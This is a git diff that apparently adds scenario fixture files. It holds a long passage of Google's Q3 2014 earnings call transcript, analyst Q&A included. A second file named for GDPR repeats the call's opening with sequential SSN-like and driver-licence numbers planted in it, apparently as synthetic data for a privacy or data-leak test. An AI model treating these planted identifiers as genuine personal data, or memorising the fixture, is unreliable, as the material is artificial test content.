MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt new file mode 100644 index 0000000..419c423 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_GDPR.txt @@ -0,0 +1,540 @@ +iQ3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani + Ronghua Wang * iii +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju. +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +SSN: 431-23-1231 +Driver License: F1121231 +SSN: 431-23-1232 +Driver License: F1121232 +SSN: 431-23-1233 +Driver License: F1121233 +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was 